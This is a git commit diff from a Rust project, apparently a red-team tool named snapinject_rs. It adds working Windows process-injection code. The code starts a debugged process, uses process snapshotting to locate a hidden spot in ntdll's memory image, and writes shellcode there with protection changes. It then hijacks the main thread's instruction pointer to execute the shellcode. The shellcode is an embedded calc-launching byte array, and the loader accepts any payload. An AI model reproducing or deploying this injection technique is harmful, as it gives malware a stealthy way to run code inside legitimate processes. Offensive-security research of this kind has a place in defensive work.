working, needs polish

This commit is contained in:
Teach2Breach
2024-12-01 20:55:14 -06:00
parent 2078147f33
commit b107216e4a
4 changed files with 423 additions and 70 deletions
+2 -2
View File
@@ -7,5 +7,5 @@ edition = "2021"
NtCreateUserProcess_rs = { git = "https://github.com/Teach2Breach/NtCreateUserProcess_rs.git" }
noldr = { git = "https://github.com/Teach2Breach/noldr.git", branch = "main" }
Snapshotting_rs = { git = "https://github.com/Teach2Breach/Snapshotting_rs" }
winapi = { version = "0.3.9", features = ["processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] }
windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting"] }
winapi = { version = "0.3.9", features = ["debugapi", "processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] }
windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting", "Win32_System_Diagnostics_Debug", "Win32_System_Kernel"] }
+290 -61
View File
@@ -1,35 +1,70 @@
#![allow(unused_assignments)]
#![allow(unused_variables)]
// Standard library imports
use std::{
ffi::c_void as std_c_void,
mem::zeroed,
ptr::null_mut,
};
// Third-party crates
use Snapshotting_rs::ProcessSnapshot;
use winapi::um::winnt::{HANDLE, MEMORY_BASIC_INFORMATION, MEM_IMAGE, HEAP_ZERO_MEMORY};
use winapi::ctypes::c_void as winapi_c_void;
use std::ffi::c_void as std_c_void;
// WinAPI imports
use winapi::{
ctypes::c_void as winapi_c_void,
shared::{
minwindef::{DWORD, FALSE},
winerror::ERROR_SUCCESS,
},
um::{
debugapi::DebugActiveProcessStop,
heapapi::{GetProcessHeap, HeapAlloc, HeapFree},
memoryapi::{ReadProcessMemory, VirtualProtectEx, WriteProcessMemory},
processthreadsapi::SetThreadContext,
winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS},
winnt::{
CONTEXT,
HANDLE,
HEAP_ZERO_MEMORY,
MEMORY_BASIC_INFORMATION,
MEM_IMAGE,
PAGE_EXECUTE_READ,
PAGE_READWRITE,
},
},
};
// Windows-rs imports
use windows::Win32::System::Diagnostics::ProcessSnapshotting::{
HPSSWALK,
PssCaptureSnapshot,
PssWalkMarkerCreate,
PssWalkMarkerFree,
PssWalkSnapshot,
PSS_WALK_VA_SPACE,
PSS_VA_SPACE_ENTRY,
HPSS,
PSS_CAPTURE_FLAGS,
PSS_CAPTURE_VA_CLONE,
PSS_CAPTURE_VA_SPACE,
PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION,
HPSSWALK,
PSS_CAPTURE_THREADS,
PSS_CAPTURE_THREAD_CONTEXT,
PSS_THREAD_ENTRY,
PSS_VA_SPACE_ENTRY,
PSS_WALK_THREADS,
PSS_WALK_VA_SPACE,
};
use winapi::shared::winerror::ERROR_SUCCESS;
use std::ptr::null_mut;
use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree};
use winapi::um::memoryapi::ReadProcessMemory;
pub fn get_helper(stack_offset: &mut usize, _base_address: *mut winapi_c_void, _shellcode_size: usize, stack: *mut winapi_c_void, size_of_image: usize) {
pub fn get_helper(
stack_offset: &mut usize,
_base_address: *mut winapi_c_void,
_shellcode_size: usize,
stack: *mut winapi_c_void,
size_of_image: usize,
) {
*stack_offset = 0;
let mut j: u32 = 0;
while j < size_of_image as u32 {
*stack_offset = *stack_offset + j as usize;
let stack_val = unsafe {
*((stack as *mut u8).add(j as usize) as *mut usize)
};
let stack_val = unsafe { *((stack as *mut u8).add(j as usize) as *mut usize) };
j = j + 1;
if stack_val == 0 {
*stack_offset = *stack_offset + j as usize;
@@ -41,15 +76,15 @@ pub fn get_helper(stack_offset: &mut usize, _base_address: *mut winapi_c_void, _
pub fn capture_process_snapshot(handle: HANDLE) -> Result<ProcessSnapshot, String> {
println!("Capturing process...");
//let flags: PSS_CAPTURE_FLAGS = PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_VA_SPACE | PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION;
match ProcessSnapshot::new(handle) {
Ok(snap) => {
println!("Process snapshot completed successfully");
println!("Snapshot handle: {:?}", snap);
println!("Snapshot will be automatically freed when it goes out of scope");
Ok(snap)
},
Err(e) => Err(format!("Error capturing process snapshot: {}", e))
}
Err(e) => Err(format!("Error capturing process snapshot: {}", e)),
}
}
@@ -63,7 +98,10 @@ pub fn get_hidden_injection_address(
let pss_success = unsafe { PssWalkMarkerCreate(None, &mut walker) };
if pss_success != ERROR_SUCCESS {
eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", pss_success);
eprintln!(
"[!] PssWalkMarkerCreate failed: Win32 error {}",
pss_success
);
} else {
println!("PssWalkMarkerCreate succeeded");
}
@@ -72,9 +110,12 @@ pub fn get_hidden_injection_address(
let mut buffer = vec![0u8; std::mem::size_of::<PSS_VA_SPACE_ENTRY>()];
let mut va_space_entry: PSS_VA_SPACE_ENTRY = unsafe { std::mem::zeroed() };
println!("About to start walking snapshot...");
println!("Snapshot handle raw: {:#x}", snapshot.snapshot_handle as usize);
println!(
"Snapshot handle raw: {:#x}",
snapshot.snapshot_handle as usize
);
println!("Walker handle raw: {:#x}", walker.0 as usize);
let mut pss_success = unsafe {
let result = PssWalkSnapshot(
@@ -83,8 +124,11 @@ pub fn get_hidden_injection_address(
walker,
Some(&mut buffer),
);
println!("Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)", result);
println!(
"Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)",
result
);
// Copy buffer regardless of result
std::ptr::copy_nonoverlapping(
buffer.as_ptr(),
@@ -96,7 +140,7 @@ pub fn get_hidden_injection_address(
let mut i = 0;
while pss_success == ERROR_SUCCESS {
println!("\nExamining region {}:", i);
//println!("\nExamining region {}:", i);
i += 1;
let mut mem_basic_info = unsafe { std::mem::zeroed::<MEMORY_BASIC_INFORMATION>() };
@@ -108,11 +152,11 @@ pub fn get_hidden_injection_address(
mem_basic_info.Protect = va_space_entry.Protect;
mem_basic_info.Type = va_space_entry.Type;
println!("Region details:");
println!(" Base Address: {:p}", mem_basic_info.BaseAddress);
println!(" Protection: {:#x}", mem_basic_info.Protect);
println!(" Type: {:#x}", va_space_entry.Type);
println!(" Size: {}", va_space_entry.SizeOfImage);
//println!("Region details:");
//println!(" Base Address: {:p}", mem_basic_info.BaseAddress);
//println!(" Protection: {:#x}", mem_basic_info.Protect);
//println!(" Type: {:#x}", va_space_entry.Type);
//println!(" Size: {}", va_space_entry.SizeOfImage);
if mem_basic_info.Protect == 0x20 {
println!("Found region with correct protection");
@@ -120,28 +164,24 @@ pub fn get_hidden_injection_address(
println!("Region is MEM_IMAGE");
if va_space_entry.SizeOfImage > 1000000 {
println!("[+] ntdll.dll captured");
let mut stack: *mut winapi_c_void = null_mut();
let mut stack_offset: usize = 0;
let success = unsafe {
ReadProcessMemory(
process_handle,
va_space_entry.ImageBase as *const winapi_c_void,
stack,
shellcode_size,
null_mut()
)
};
let success = unsafe {
ReadProcessMemory(
process_handle,
va_space_entry.ImageBase as *const winapi_c_void,
stack,
shellcode_size,
null_mut(),
)
};
let heap = unsafe { GetProcessHeap() };
stack = unsafe {
HeapAlloc(
heap,
HEAP_ZERO_MEMORY,
mem_basic_info.RegionSize as usize
)
};
let heap = unsafe { GetProcessHeap() };
stack = unsafe {
HeapAlloc(heap, HEAP_ZERO_MEMORY, mem_basic_info.RegionSize as usize)
};
if !stack.is_null() {
get_helper(
@@ -149,23 +189,28 @@ pub fn get_hidden_injection_address(
mem_basic_info.BaseAddress,
shellcode_size,
stack,
va_space_entry.SizeOfImage as usize
va_space_entry.SizeOfImage as usize,
);
println!("Stack offset calculated: {:#x}", stack_offset);
shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize) - shellcode_size * 3) as *mut winapi_c_void;
shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize)
- shellcode_size * 3)
as *mut winapi_c_void;
println!("Shellcode location: {:p}", shellcode_location);
unsafe { HeapFree(heap, 0, stack) };
unsafe { PssWalkMarkerFree(walker) };
println!("[+] Original base address: {:p}", mem_basic_info.BaseAddress);
println!("[+] Stack offset: {:#x}", stack_offset);
println!("[+] Final shellcode location: {:p}", shellcode_location);
return Ok(shellcode_location);
}
} else {
println!("Region size too small: {}", va_space_entry.SizeOfImage);
//println!("Region size too small: {}", va_space_entry.SizeOfImage);
}
} else {
println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type);
//println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type);
}
}
@@ -176,8 +221,8 @@ pub fn get_hidden_injection_address(
walker,
Some(&mut buffer),
);
println!("PssWalkSnapshot result: {}", result);
//println!("PssWalkSnapshot result: {}", result);
// Copy buffer regardless of result
std::ptr::copy_nonoverlapping(
buffer.as_ptr(),
@@ -191,4 +236,188 @@ pub fn get_hidden_injection_address(
println!("Finished walking snapshot. Examined {} regions", i);
unsafe { PssWalkMarkerFree(walker) };
Err("No suitable injection location found".to_string())
}
pub fn inject_and_rwx(
process_handle: HANDLE,
shellcode_location: *mut winapi_c_void,
shellcode: &[u8],
) -> bool {
let mut old_protect: DWORD = 0;
let size = shellcode.len();
let mut bytes_written: usize = 0;
// First VirtualProtectEx call to set PAGE_READWRITE
let success = unsafe {
VirtualProtectEx(
process_handle,
shellcode_location,
size,
PAGE_READWRITE,
&mut old_protect,
)
};
if success == 0 {
eprintln!("[!] [1] VirtualProtectEx FAILED with Error: {}", unsafe {
winapi::um::errhandlingapi::GetLastError()
});
return false;
}
// WriteProcessMemory to inject shellcode
let success = unsafe {
WriteProcessMemory(
process_handle,
shellcode_location,
shellcode.as_ptr() as *const winapi_c_void,
size,
&mut bytes_written,
)
};
if success == 0 {
eprintln!("[!] WriteProcessMemory FAILED with Error: {}", unsafe {
winapi::um::errhandlingapi::GetLastError()
});
return false;
}
// Second VirtualProtectEx call to set PAGE_EXECUTE_READWRITE
let success = unsafe {
VirtualProtectEx(
process_handle,
shellcode_location,
size,
PAGE_EXECUTE_READ,
&mut old_protect,
)
};
if success == 0 {
eprintln!("[!] [2] VirtualProtectEx FAILED with Error: {}", unsafe {
winapi::um::errhandlingapi::GetLastError()
});
return false;
}
true
}
pub fn snap_thread_hijack(
pid: DWORD,
thread_handle: HANDLE,
thread_id: DWORD,
target_process: *mut winapi::ctypes::c_void,
rip: Option<*mut winapi_c_void>,
rsp: Option<*mut winapi_c_void>,
) -> bool {
unsafe {
let mut snapshot_ctx: CONTEXT = zeroed();
let mut snapshot_handle = HPSS::default();
let mut walk_marker_handle = HPSSWALK::default();
let mut thread_entry: PSS_THREAD_ENTRY = zeroed();
let mut buffer = vec![0u8; std::mem::size_of::<PSS_THREAD_ENTRY>()];
// Capture snapshot
let capture_flags = PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT;
let win32_handle = windows::Win32::Foundation::HANDLE(target_process as _);
let pss_result = PssCaptureSnapshot(
win32_handle,
capture_flags,
0x0010_0017, // CONTEXT_ALL
&mut snapshot_handle,
);
if pss_result != 0 {
eprintln!("[!] PssCaptureSnapshot failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError());
return false;
}
println!("[+] Snapshot captured successfully");
// Create walk marker
let pss_result = PssWalkMarkerCreate(None, &mut walk_marker_handle);
if pss_result != 0 {
eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError());
return false;
}
println!("[+] Walk marker created successfully");
// Walk through threads
let mut pss_result = PssWalkSnapshot(
snapshot_handle,
PSS_WALK_THREADS,
walk_marker_handle,
Some(&mut buffer),
);
while pss_result == 0 {
// Copy buffer to thread_entry
std::ptr::copy_nonoverlapping(
buffer.as_ptr(),
&mut thread_entry as *mut _ as *mut u8,
std::mem::size_of::<PSS_THREAD_ENTRY>(),
);
if thread_entry.ThreadId == thread_id {
// Copy context record
if !thread_entry.ContextRecord.is_null() {
std::ptr::copy_nonoverlapping(
thread_entry.ContextRecord as *const winapi::um::winnt::CONTEXT,
&mut snapshot_ctx,
1,
);
println!("[+] Original thread entry context record: {:p}", thread_entry.ContextRecord);
println!("[+] Thread ID we're targeting: {}", thread_id);
println!("[+] Process creation flags included DEBUG_PROCESS: {}",
NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS);
println!("[+] Snapctx.Rip Before Setting: 0x{:x}", snapshot_ctx.Rip);
if let Some(rip_ptr) = rip {
// Create a u64 with the address value instead of dereferencing
snapshot_ctx.Rip = rip_ptr as u64;
println!("[+] Setting RIP directly to address: 0x{:x}", snapshot_ctx.Rip);
//println!("[+] Shellcode location (raw pointer): {:p}", rip_ptr);
}
if let Some(rsp_ptr) = rsp {
snapshot_ctx.Rsp = rsp_ptr as u64;
}
println!("[+] Snapctx.Rip After Setting: 0x{:x}", snapshot_ctx.Rip);
println!("[+] Setting thread context...");
if SetThreadContext(thread_handle, &snapshot_ctx) == FALSE {
eprintln!("[!] SetThreadContext FAILED with Error: {}", winapi::um::errhandlingapi::GetLastError());
return false;
}
std::thread::sleep(std::time::Duration::from_secs(5));
println!("[+] DebugActiveProcessStop...");
DebugActiveProcessStop(pid);
println!("[+] DONE");
break;
}
}
pss_result = PssWalkSnapshot(
snapshot_handle,
PSS_WALK_THREADS,
walk_marker_handle,
Some(&mut buffer),
);
}
// Free walk marker
let pss_result = PssWalkMarkerFree(walk_marker_handle);
if pss_result != 0 {
eprintln!("[!] PssWalkMarkerFree failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError());
return false;
}
true
}
}
+87
View File
@@ -0,0 +1,87 @@
pub use winapi;
use winapi::um::{processthreadsapi::{CreateProcessA, PROCESS_INFORMATION, STARTUPINFOA}, winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}};
pub const CALC_SHELLCODE: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,
0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed,
0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48,
0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b,
0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47,
0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e,
0x65, 0x78, 0x65, 0x00,
];
mod func;
pub fn inject_shellcode(process_name: &str, shellcode: &[u8]) -> Result<(), String> {
// Format the process path
let process_path = if !process_name.contains('\\') {
format!("C:\\Windows\\System32\\{}", process_name)
} else {
process_name.to_string()
};
// Create the startup info and process info structs
let mut si: STARTUPINFOA = unsafe { std::mem::zeroed() };
let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() };
si.cb = std::mem::size_of::<STARTUPINFOA>() as u32;
// Create the process
let success = unsafe {
CreateProcessA(
std::ptr::null(),
process_path.as_ptr() as *mut i8,
std::ptr::null_mut(),
std::ptr::null_mut(),
1,
NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS,
std::ptr::null_mut(),
std::ptr::null(),
&mut si,
&mut pi,
)
};
if success == 0 {
return Err(format!("Failed to create process: {}", unsafe {
winapi::um::errhandlingapi::GetLastError()
}));
}
let process_handle = pi.hProcess;
let shellcode_size = shellcode.len();
let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size)
.map_err(|e| format!("Failed to get injection address: {}", e))?;
if !func::inject_and_rwx(process_handle, shellcode_location, shellcode) {
return Err("Failed to inject shellcode".to_string());
}
if !func::snap_thread_hijack(
pi.dwProcessId,
pi.hThread,
pi.dwThreadId,
process_handle,
Some(shellcode_location),
None,
) {
return Err("Failed to hijack thread".to_string());
}
Ok(())
}
pub fn inject_calc_shellcode(process_name: &str) -> Result<(), String> {
inject_shellcode(process_name, &CALC_SHELLCODE)
}
+44 -7
View File
@@ -1,8 +1,8 @@
//use noldr::{get_dll_address, get_teb};
use winapi::um::processthreadsapi::CreateProcessA;
use winapi::um::winbase::{NORMAL_PRIORITY_CLASS, DETACHED_PROCESS, DEBUG_PROCESS};
use winapi::um::processthreadsapi::STARTUPINFOA;
use winapi::um::processthreadsapi::PROCESS_INFORMATION;
use winapi::um::processthreadsapi::STARTUPINFOA;
use winapi::um::winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS};
mod func;
@@ -29,7 +29,7 @@ pub const SHELL_CODE: [u8; 276] = [
];
fn main() {
/*
//set the process name to RunTimeBroker.exe for testing
let process_name = "RunTimeBroker.exe".to_string();
//format the process path
@@ -56,13 +56,15 @@ fn main() {
std::ptr::null_mut(),
std::ptr::null(),
&mut si,
&mut pi
&mut pi,
)
};
//check if the process was created successfully
if success == 0 {
eprintln!("Failed to create process: {}", unsafe { winapi::um::errhandlingapi::GetLastError() });
eprintln!("Failed to create process: {}", unsafe {
winapi::um::errhandlingapi::GetLastError()
});
std::process::exit(1);
}
@@ -107,8 +109,43 @@ fn main() {
*/
let shellcode_size = SHELL_CODE.len();
let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size).unwrap();
let shellcode_location =
func::get_hidden_injection_address(process_handle, shellcode_size).unwrap();
println!("Shellcode location: 0x{:x}", shellcode_location as usize);
//println!("Shellcode location: 0x{:x}", shellcode_location as usize);
// Add this code to inject the shellcode
if !func::inject_and_rwx(process_handle, shellcode_location, &SHELL_CODE) {
eprintln!("Failed to inject shellcode");
std::process::exit(1);
}
println!(
"Shellcode injected successfully at: 0x{:x}",
shellcode_location as usize
);
// ... after shellcode injection ...
println!("Press enter to hijack the thread");
let mut input = String::new();
std::io::stdin().read_line(&mut input).unwrap();
// Hijack the thread to execute the shellcode
if !func::snap_thread_hijack(
pi.dwProcessId,
pi.hThread,
pi.dwThreadId,
process_handle,
Some(shellcode_location),
None,
){
eprintln!("Failed to hijack thread");
std::process::exit(1);
}
println!("Thread hijacked successfully");
*/
snapinject_rs::inject_calc_shellcode("RunTimeBroker.exe").unwrap();
}